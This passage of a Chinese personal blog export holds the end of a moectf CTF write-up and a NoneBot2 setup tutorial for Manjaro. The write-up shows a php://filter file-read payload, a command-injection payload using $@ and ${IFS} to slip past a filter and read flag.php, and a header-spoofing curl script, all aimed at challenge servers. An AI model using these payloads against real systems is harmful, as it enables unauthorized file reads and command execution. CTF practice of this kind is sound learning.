href=\"https://blog.csdn.net/qq_42181428/article/details/87090539\"\u003ehttps://blog.csdn.net/qq_42181428/article/details/87090539\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.leavesongs.com/PENETRATION/php-filter-magic.html\"\u003ehttps://www.leavesongs.com/PENETRATION/php-filter-magic.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ichunqiu/p/10683379.html\"\u003ehttps://www.cnblogs.com/ichunqiu/p/10683379.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.98.215.112:5000/?file\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ephp://filter/read\u003cspan class=\"token operator\"\u003e=\u003c/span\u003econvert.base64-encode/resource\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eflag.php\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到base64字符串,解码\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{xdsec6asdgas7ahfsfaxczc}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"07-babeRCE\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/82c9/#07-babeRCE\" class=\"headerlink\" title=\"07 babeRCE\"\u003e\u003c/a\u003e07 babeRCE\u003c/h3\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_44657899/article/details/107676580\"\u003ehttps://blog.csdn.net/qq_44657899/article/details/107676580\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e挺有意思,试了里面好多法子,最后试出来了然后还得每个字符之间都加\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ehttp://47.93.215.154:5000/?rce\u003cspan class=\"token operator\"\u003e=\u003c/span\u003et\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ec\u003cspan class=\"token variable\"\u003e${\u003cspan class=\"token environment constant\"\u003eIFS\u003c/span\u003e}\u003c/span\u003ef\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003el\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ea\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003eg\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003e.\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003eh\u003cspan class=\"token variable\"\u003e$@\u003c/span\u003ep\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003eoectf{Do_y0u_l1k3_Rcccccccccccccce?}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 08 Do you know HTTP?\u003cp\u003ephp真是绝绝子\u003c/p\u003e\u003cp\u003e用php+curl,查阅了文档,然后一步一步按题给的要求加东西\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-php\" data-language=\"php\"\u003e\u003ccode class=\"language-php\"\u003e\u003cspan class=\"token php language-php\"\u003e\u003cspan class=\"token delimiter important\"\u003e\u0026lt;?php\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e\u0026#39;http://47.93.215.154:5002\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token keyword\"\u003earray\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;Referer: www.ltyyds.com\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;User-Agent: LT\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string double-quoted-string\"\u003e\u0026#34;Date: Dec, 26 Dec 2015 17:30:00 GMT\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_URL\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$url\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_CUSTOMREQUEST\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string single-quoted-string\"\u003e\u0026#39;HS\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_TIMEOUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_RETURNTRANSFER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#curl_setopt($ch,CURLOPT_HTTPHEADER,array(\u0026#34;X-Forwarded-For: 127.0.0.1\u0026#34;));\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_setopt\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token constant\"\u003eCURLOPT_HTTPHEADER\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$header\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003ecurl_exec\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token variable\"\u003e$ch\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eecho\u003c/span\u003e \u003cspan class=\"token variable\"\u003e$content\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token delimiter important\"\u003e?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{HTTPHeaders_1s_s0_ea5y!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/82c9/"},{"title":"blogEncrypt","time":"2021-09-09T14:02:52Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cdiv class=\"hbe hbe-container\" id=\"hexo-blog-encrypt\" data-wpm=\"抱歉, 这个密码看着不太对, 请再试试.\" data-whm=\"抱歉, 这个文章不能被校验, 不过您还是能看看解密后的内容.\"\u003e \u003cscript id=\"hbeData\" type=\"hbeData\" data-hmacdigest=\"4838c035240a77ed6a78693c026a2ff61b17c3551b0ee6366631d0ca6dcd57bb\"\u003eeefcb32dea6b1b3cf00a6005fbaeec13fe33249b90ab29d6586ecb398d0eca850144a02e601cd72ca042df0f6de4861b3b858d5692d5cde454c3b47084d3a78437917c5f5bbee81f8032aa9a1e29a844b0f4ca6e476c84a7eec435bf74a1be3edabb682d58c0e60af8baf6929662b069f5f11272f77a74d1b3477df7f4251f003c2801887418a7e0ad930d46f0a553d96a393a1222821cabf2e2e4e07db2017269ad22f352e61748bbb4b5c3e35a2cb0f9059ef4225ed713beae899374580e36163878e69f63c6c053ce0ca053c0c747\u003c/script\u003e \u003cdiv class=\"hbe hbe-content\"\u003e \u003cdiv class=\"hbe hbe-input hbe-input-xray\"\u003e \u003cinput class=\"hbe hbe-input-field hbe-input-field-xray\" type=\"password\" id=\"hbePass\"/\u003e \u003clabel class=\"hbe hbe-input-label hbe-input-label-xray\" for=\"hbePass\"\u003e \u003cspan class=\"hbe hbe-input-label-content hbe-input-label-content-xray\"\u003e这里需要密码.\u003c/span\u003e \u003c/label\u003e \u003csvg class=\"hbe hbe-graphic hbe-graphic-xray\" width=\"300%\" height=\"100%\" viewBox=\"0 0 1200 60\" preserveAspectRatio=\"none\"\u003e \u003cpath d=\"M0,56.5c0,0,298.666,0,399.333,0C448.336,56.5,513.994,46,597,46c77.327,0,135,10.5,200.999,10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003cpath d=\"M0,2.5c0,0,298.666,0,399.333,0C448.336,2.5,513.994,13,597,13c77.327,0,135-10.5,200.999-10.5c95.996,0,402.001,0,402.001,0\"\u003e\u003c/path\u003e \u003c/svg\u003e \u003c/div\u003e \u003c/div\u003e\u003c/div\u003e\u003cscript data-pjax=\"\" src=\"/lib/hbe.js\"\u003e\u003c/script\u003e\u003clink href=\"/css/hbe.style.css\" rel=\"stylesheet\" type=\"text/css\"/\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/af/"},{"title":"折腾NoneBot","time":"2021-05-29T04:39:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 style=\"color:red;\"\u003ePay Attention!!!\u003c/h1\u003e\u003ch1 style=\"color:red;\"\u003ePay Attention!!!\u003c/h1\u003e\u003ch1 style=\"color:red;\"\u003ePay Attention!!!\u003c/h1\u003e\u003cscript\u003ealert(\"本篇博客内容已无参考性\")\u003c/script\u003e\u003cp\u003e因为 NoneBot 项目更新,本篇博客内容已无参考性!!!\u003c/p\u003e\u003cp\u003e因为 NoneBot 项目更新,本篇博客内容已无参考性!!!\u003c/p\u003e\u003cp\u003e因为 NoneBot 项目更新,本篇博客内容已无参考性!!!\u003c/p\u003e\u003cp\u003e\u003cdel\u003e(等有时间了整个新的)\u003c/del\u003e\u003c/p\u003e\u003ch1 id=\"折腾NoneBot-2\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E6%8A%98%E8%85%BENoneBot-2\" class=\"headerlink\" title=\"折腾NoneBot 2\"\u003e\u003c/a\u003e折腾NoneBot 2\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e看群里机器人挺有意思,然后翻学长GitHub(\u003ca href=\"https://github.com/Reverier-Xu\"\u003eReverier-Xu\u003c/a\u003e和\u003ca href=\"https://github.com/frankli0324\"\u003eFrank\u003c/a\u003e)的时候翻到了这个叫NoneBot的东西,就动手搞搞,刚好手头有不用的小号\u003c/del\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e全程在Manjaro下进行\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"参考资料\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99\" class=\"headerlink\" title=\"参考资料\"\u003e\u003c/a\u003e参考资料\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://v2.nonebot.dev/\"\u003eNoneBot官方手册\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://docs.nonebot.dev/\"\u003eNoneBot官方文档\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42059060/article/details/114424753\"\u003e在centos上装载NoneBot2_ChenYX的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://muyuuuu.github.io/2019/09/21/python-virenv/\"\u003emanjaro下python创建虚拟环境 | Just for Life. (muyuuuu.github.io)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.jianshu.com/p/7acbffa17c28\"\u003eArch/Manjaro安装deb安装包 - 简书 (jianshu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/tujia/p/13597602.html\"\u003evirtualenvwrapper 的安装与使用 - Tiac - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/lzping/p/13534385.html\"\u003eLinux pip安装速度慢(超时报错),为pip换源 - lzping - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_42059060/article/details/114449178\"\u003e开启QBot_ChenYX的博客-CSDN博客\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"概览\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E6%A6%82%E8%A7%88\" class=\"headerlink\" title=\"概览\"\u003e\u003c/a\u003e概览\u003c/h2\u003e\u003cp\u003eNoneBot2 是一个可扩展的 Python 异步机器人框架,它会对机器人收到的事件进行解析和处理,并以插件化的形式,按优先级分发给事件所对应的事件响应器,来完成具体的功能。\u003c/p\u003e\u003cp\u003e除了起到解析事件的作用,NoneBot 还为插件提供了大量实用的预设操作和权限控制机制。对于命令处理,它更是提供了完善且易用的会话机制和内部调用机制,以分别适应命令的连续交互和插件内部功能复用等需求。\u003c/p\u003e\u003cp\u003e需要注意的是,NoneBot 仅支持 \u003cstrong\u003ePython 3.7+\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"Linux-pip安装速度慢(超时报错),为pip换源\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#Linux-pip%E5%AE%89%E8%A3%85%E9%80%9F%E5%BA%A6%E6%85%A2%EF%BC%88%E8%B6%85%E6%97%B6%E6%8A%A5%E9%94%99%EF%BC%89%EF%BC%8C%E4%B8%BApip%E6%8D%A2%E6%BA%90\" class=\"headerlink\" title=\"Linux pip安装速度慢(超时报错),为pip换源\"\u003e\u003c/a\u003eLinux pip安装速度慢(超时报错),为pip换源\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003emkdir\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-p\u003c/span\u003e ~/.pip/\u003cspan class=\"token function\"\u003enano\u003c/span\u003e pip.conf\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003epip.conf\u003c/code\u003e 中内容如下:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eglobal\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003eindex-url\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ehttp://mirrors.aliyun.com/pypi/simple/\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003einstall\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003etrusted-host\u003cspan class=\"token operator\"\u003e=\u003c/span\u003emirrors.aliyun.com\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003ch3 id=\"虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"虚拟环境\"\u003e\u003c/a\u003e虚拟环境\u003c/h3\u003e\u003cp\u003e为了装载 NoneBot2 并保证相关配置包不会冲突,我们需要安装一个纯净的 python 空间。这里我们就要用到 virtualenv 工具包了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003evirtualenvwrapper\u003c/strong\u003e 是一个python项目环境管理工具,一个项目一个独立环境(可随心切换),\u003cstrong\u003e防止不同项目依赖环境的相互污染\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"virtualenv-的安装\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#virtualenv-%E7%9A%84%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"virtualenv 的安装\"\u003e\u003c/a\u003evirtualenv 的安装\u003c/h3\u003e\u003cp\u003e首先使用 pip 命令安装两个需要的包\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e如果 pip 软链接没有修改成 pip3 的话要输入 pip3\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003epip3 \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e virtualenvpip3 \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e virtualenvwrapper\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后创建一个文件夹,用于存放所有的虚拟环境:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003emkdir\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-p\u003c/span\u003e /usr/local/virtualenvs \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e目录自定义\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e注意:安装完虚拟环境后,如果提示找不到mkvirtualenv命令,须配置环境变量:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e首先查看一下 \u003ccode\u003evirtualenvwrapper.sh\u003c/code\u003e 和 \u003ccode\u003epython3\u003c/code\u003e 的安装目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ewhich\u003c/span\u003e virtualenvwrapper.sh\u003cspan class=\"token function\"\u003ewhich\u003c/span\u003e python3\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e用whereis也行\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改文件 \u003ccode\u003e.bashrc\u003c/code\u003e ,这就是用户配置文件\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e ~\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003enano\u003c/span\u003e .bashrc\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e文件末尾添加\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003eexport\u003c/span\u003e \u003cspan class=\"token assign-left variable\"\u003eWORKON_HOME\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/usr/local/virtualenvs \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e绝对路径\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003esource\u003c/span\u003e /home/cyk/.local/bin/virtualenvwrapper.sh\u003cspan class=\"token assign-left variable\"\u003eVIRTUALENVWRAPPER_PYTHON\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/usr/bin/python3\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这里注意,WORKON_HOME的绝对路径需要填写你刚刚创建的文件夹地址。source 里要填写你刚刚 pip 安装 virtualenvwrapper 的位置,就是上面找到的\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e再然后更新环境变量\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003esource\u003c/span\u003e ~/.bashrc\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"激活\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E6%BF%80%E6%B4%BB\" class=\"headerlink\" title=\"激活\"\u003e\u003c/a\u003e激活\u003c/h4\u003e\u003cp\u003e在终端输入\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token builtin class-name\"\u003esource\u003c/span\u003e virtualenvwrapper.sh\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"创建虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%88%9B%E5%BB%BA%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"创建虚拟环境\"\u003e\u003c/a\u003e创建虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003emkvirtualenv 你的虚拟环境名称\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e进入虚拟环境后命令行会有所变化。(一定不要\u003ccode\u003esudo\u003c/code\u003e)\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e如果报错了,说明我们没有给 \u003ccode\u003evirtualenv\u003c/code\u003e 创建软链接,然后就ok了\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003eln\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-s\u003c/span\u003e /home/cyk/.local/bin/virtualenv /usr/bin/virtualenv\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e如果出现类似\u003ccode\u003evirtualenv: error: argument dest: the destination . is not write-able at /usr/local/virtualenvs\u003c/code\u003e的错误\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e该错误是由于.virtualenvs没有可写的权限引起的,可对该文件赋予可读可写可执行的权限\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan 